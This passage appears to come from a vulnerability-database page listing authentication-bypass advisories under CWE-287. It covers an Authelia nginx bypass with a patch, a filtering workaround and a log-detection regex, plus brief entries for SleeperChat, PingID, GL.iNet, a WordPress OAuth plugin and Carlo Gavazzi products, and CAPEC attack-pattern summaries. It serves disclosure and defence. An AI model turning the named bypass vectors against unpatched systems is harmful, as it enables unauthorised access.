  "details": "### Impact\nThis affects uses who are using nginx ngx_http_auth_request_module with Authelia, it allows a malicious individual who crafts a malformed HTTP request to bypass the authentication mechanism. It additionally could theoretically affect other proxy servers, but all of the ones we officially support except nginx do not allow malformed URI paths.\n\n### Patches\nThe problem is rectified entirely in v4.29.3. As this patch is relatively straightforward we can back port this to any version upon request. Alternatively we are supplying a git patch to 4.25.1 which should be relatively straightforward to apply to any version, the git patches for specific versions can be found below.\n\n\u003cdetails\u003e\u003csummary\u003ePatch for 4.25.1:\u003c/summary\u003e\u003cp\u003e\n\n```patch\nFrom ca22f3d2c44ca7bef043ffbeeb06d6659c1d550f Mon Sep 17 00:00:00 2001\nFrom: James Elliott \u003cjames-d-elliott@users.noreply.github.com\u003e\nDate: Wed, 19 May 2021 12:10:13 +1000\nSubject: [PATCH] fix(handlers): verify returns 200 on malformed request\n\nThis is a git patch for commit at tag v4.25.1 to address a potential method to bypass authentication in proxies that forward malformed information to Authelia in the forward auth process. Instead of returning a 200 this ensures that Authelia returns a 401 when this occurs.\n---\n internal/handlers/handler_verify.go | 4 +++-\n 1 file changed, 3 insertions(+), 1 deletion(-)\n\ndiff --git a/internal/handlers/handler_verify.go b/internal/handlers/handler_verify.go\nindex 65c064ce..4dd9702d 100644\n--- a/internal/handlers/handler_verify.go\n+++ b/internal/handlers/handler_verify.go\n@@ -396,7 +396,9 @@ func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.Reques\n \t\ttargetURL, err := getOriginalURL(ctx)\n \n \t\tif err != nil {\n-\t\t\tctx.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err), operationFailedMessage)\n+\t\t\tctx.Logger.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err))\n+\t\t\tctx.ReplyUnauthorized()\n+\n \t\t\treturn\n \t\t}\n \n-- \n2.31.1\n```\n\n\u003c/p\u003e\u003c/details\u003e\n\n### Workarounds\nThe most relevant workaround is upgrading. **If you need assistance with an upgrade please contact us on [Matrix](https://riot.im/app/#/room/#authelia:matrix.org) or [Discord](https://discord.authelia.com).** Please just let us know you\u0027re needing help upgrading to above 4.29.2. \n\nYou can add an block which fails requests that contains a malformed URI in the internal location block. We have crafted one that should work in most instances, it basically checks no chars that are required to be URL-encoded for either the path or the query are in the URI. Basically this regex checks that the characters between the square braces are the only characters in the $request_uri header, if they exist, it returns a HTTP 401 status code. The characters in the regex match are tested to not cause a parsing error that would result in a failure, however they are not exhaustive since query strings seem to not always conform to the RFC.\n\n\u003cdetails\u003e\u003csummary\u003eauthelia.conf:\u003c/summary\u003e\u003cp\u003e\n\n```nginx\nlocation /authelia {\n    internal;\n    # **IMPORTANT**\n    # This block rejects requests with a 401 which contain characters that are unable to be parsed.\n    # It is necessary for security prior to v4.29.3 due to the fact we returned an invalid code in the event of a parser error.\n    # You may comment this section if you\u0027re using Authelia v4.29.3 or above. We strongly recommend upgrading.\n    # RFC3986: http://tools.ietf.org/html/rfc3986\n    # Commentary on RFC regarding Query Strings: https://www.456bereastreet.com/archive/201008/what_characters_are_allowed_unencoded_in_query_strings/\n    if ($request_uri ~ [^a-zA-Z0-9_+-=\\!@$%\u0026*?~.:#\u0027\\;\\(\\)\\[\\]]) {\n        return 401;\n    }\n\n    # Include the remainder of the block here. \n}\n````\n\n\u003c/p\u003e\u003c/details\u003e\n\n### Discovery\n\nThis issue was discovered by:\n\nSiemens Energy\nCybersecurity Red Team\n\n- Silas Francisco\n- Ricardo Pesqueira\n\n\n### Identifying active exploitation of the vulnerability\n\nThe following regex should match log entries that are an indication of the vulnerability being exploited:\n```regex\nlevel=error msg=\"Unable to parse target URL: Unable to parse URL (extracted from X-Original-URL header)?.*?: parse.*?net/url:.*github\\.com/authelia/authelia/internal/handlers/handler_verify\\.go\n```\n\nExample log entry ***with*** X-Original-URL configured:\n```log\ntime=\"2021-05-21T16:31:15+10:00\" level=error msg=\"Unable to parse target URL: Unable to parse URL extracted from X-Original-URL header: parse \\\"https://example.com/\": net/url: invalid control character in URL\" method=GET path=/api/verify remote_ip=192.168.1.10 stack=\"github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\\nruntime/asm_amd64.s:1371                                                 goexit\"\n```\n\nExample log entry ***without*** X-Original-URL configured:\n```log\ntime=\"2021-05-21T16:30:17+10:00\" level=error msg=\"Unable to parse target URL: Unable to parse URL https://example.com/: parse \\\"https://example.com/\": net/url: invalid control character in URL\" method=GET path=/api/verify remote_ip=192.168.1.10 stack=\"github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\\nruntime/asm_amd64.s:1371                                                 goexit\"\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a [Discussion](https://github.com/authelia/authelia/discussions)\n* Email us at [security@authelia.com](mailto:security@authelia.com)\n\n### Edit / Adjustment\n\nThis CVE has been edited adjusting the score to more accurately reflect the guidance in the [official CVSS 3.1 guide](https://www.first.org/cvss/specification-document). Due to misunderstandings about the CVSS indicators this was incorrectly assigned but this has been corrected. Under close evaluation the score we originally assigned to this CVE is inappropriate in two clearly identifiable criteria:\n\n- Complexity (Low -\u003e High): This attack requires the administrator be using NGINX\u0027s auth_request module. This means the attack cannot be exploited at will but rather requires a pre-condition separate to the vulnerable system outside of the attackers control (a vulnerable version of NGINX - at the time of this writing NGINX\u0027s security team has *refused* to fix the clear bug on their end but that\u0027s effectively irrelevant since we operate with more than just a NGINX proxy and no other proxy has this vulnerability), and requires the attacker have gathered knowledge about the system for this likely to be exploited.\n - Availability (High -\u003e None): This attack does not alter availability directly.",
  "id": "GHSA-68wm-pfjf-wqp6",
  "modified": "2024-04-22T14:49:49Z",
  "published": "2021-12-20T16:57:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authelia/authelia/security/advisories/GHSA-68wm-pfjf-wqp6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authelia/authelia/commit/c62dbd43d6e69ae81530e7c4f8763857f8ff1dda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authelia/authelia"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authelia vulnerable to an authentication bypassed with malformed request URI on nginx"
}

GHSA-6923-3X33-63PJ

Vulnerability from github – Published: 2022-05-01 06:39 – Updated: 2022-05-01 06:39
VLAI
Details

SleeperChat 0.3f and earlier allows remote attackers to bypass authentication and create new entries via the txt parameter to (1) chat_no.php and (2) chat_if.php.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2006-0416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-01-25T11:03:00Z",
    "severity": "MODERATE"
  },
  "details": "SleeperChat 0.3f and earlier allows remote attackers to bypass authentication and create new entries via the txt parameter to (1) chat_no.php and (2) chat_if.php.",
  "id": "GHSA-6923-3x33-63pj",
  "modified": "2022-05-01T06:39:39Z",
  "published": "2022-05-01T06:39:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0416"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/24357"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1015525"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6925-Q744-QCX6

Vulnerability from github – Published: 2022-05-05 00:00 – Updated: 2022-05-17 00:01
VLAI
Details

Use of static encryption key material allows forging an authentication token to other users within a tenant organization. MFA may be bypassed by redirecting an authentication flow to a target user. To exploit the vulnerability, must have compromised user credentials.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-23724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-288",
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-04T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Use of static encryption key material allows forging an authentication token to other users within a tenant organization. MFA may be bypassed by redirecting an authentication flow to a target user. To exploit the vulnerability, must have compromised user credentials.",
  "id": "GHSA-6925-q744-qcx6",
  "modified": "2022-05-17T00:01:43Z",
  "published": "2022-05-05T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23724"
    },
    {
      "type": "WEB",
      "url": "https://docs.pingidentity.com/bundle/pingid/page/xqz1597139945488.html"
    },
    {
      "type": "WEB",
      "url": "https://www.pingidentity.com/en/resources/downloads/pingid.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-69GC-W6VG-Q56G

Vulnerability from github – Published: 2026-04-09 15:35 – Updated: 2026-04-09 15:35
VLAI
Details

A security flaw has been discovered in GL.iNet GL-RM1, GL-RM10, GL-RM10RC and GL-RM1PE 1.8.1. Affected by this issue is some unknown functionality of the component Factory Reset Handler. Performing a manipulation results in improper authentication. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. Upgrading to version 1.8.2 can resolve this issue. It is advisable to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
7.5 (High)
CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-09T15:16:17Z",
    "severity": "HIGH"
  },
  "details": "A security flaw has been discovered in GL.iNet GL-RM1, GL-RM10, GL-RM10RC and GL-RM1PE 1.8.1. Affected by this issue is some unknown functionality of the component Factory Reset Handler. Performing a manipulation results in improper authentication. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. Upgrading to version 1.8.2 can resolve this issue. It is advisable to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.",
  "id": "GHSA-69gc-w6vg-q56g",
  "modified": "2026-04-09T15:35:08Z",
  "published": "2026-04-09T15:35:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5959"
    },
    {
      "type": "WEB",
      "url": "https://dl.gl-inet.com/kvm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gl-inet/CVE-issues/blob/main/KVM/1.8.1/Remote%20Access%20Authentication%20Bypass%20After%20Factory%20Reset.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/786688"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/356512"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/356512/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-69GH-WMHF-72WV

Vulnerability from github – Published: 2022-08-23 00:00 – Updated: 2022-08-24 00:00
VLAI
Details

Authentication Bypass vulnerability in miniOrange WP OAuth Server plugin <= 3.0.4 at WordPress.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-34149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-22T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Authentication Bypass vulnerability in miniOrange WP OAuth Server plugin \u003c= 3.0.4 at WordPress.",
  "id": "GHSA-69gh-wmhf-72wv",
  "modified": "2022-08-24T00:00:28Z",
  "published": "2022-08-23T00:00:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34149"
    },
    {
      "type": "WEB",
      "url": "https://lana.codes/lanavdb/6d794d65-d44b-4099-94c5-3dd2995b218c?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/miniorange-oauth-20-server/wordpress-wp-oauth-server-plugin-3-0-4-authentication-bypass-vulnerability"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/miniorange-oauth-20-server/wordpress-wp-oauth-server-plugin-3-0-4-authentication-bypass-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/miniorange-oauth-20-server/#developers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-69HR-QQMQ-CF8V

Vulnerability from github – Published: 2022-09-29 00:00 – Updated: 2022-09-29 00:00
VLAI
Details

An improper authentication vulnerability exists in the Carlo Gavazzi UWP3.0 in multiple versions and CPY Car Park Server in Version 2.8.3 Web-App which allows an authentication bypass to the context of an unauthorised user if free-access is disabled.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-28T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "An improper authentication vulnerability exists in the Carlo Gavazzi UWP3.0 in multiple versions and CPY Car Park Server in Version 2.8.3 Web-App which allows an authentication bypass to the context of an unauthorised user if free-access is disabled.",
  "id": "GHSA-69hr-qqmq-cf8v",
  "modified": "2022-09-29T00:00:25Z",
  "published": "2022-09-29T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22523"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2022-029"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list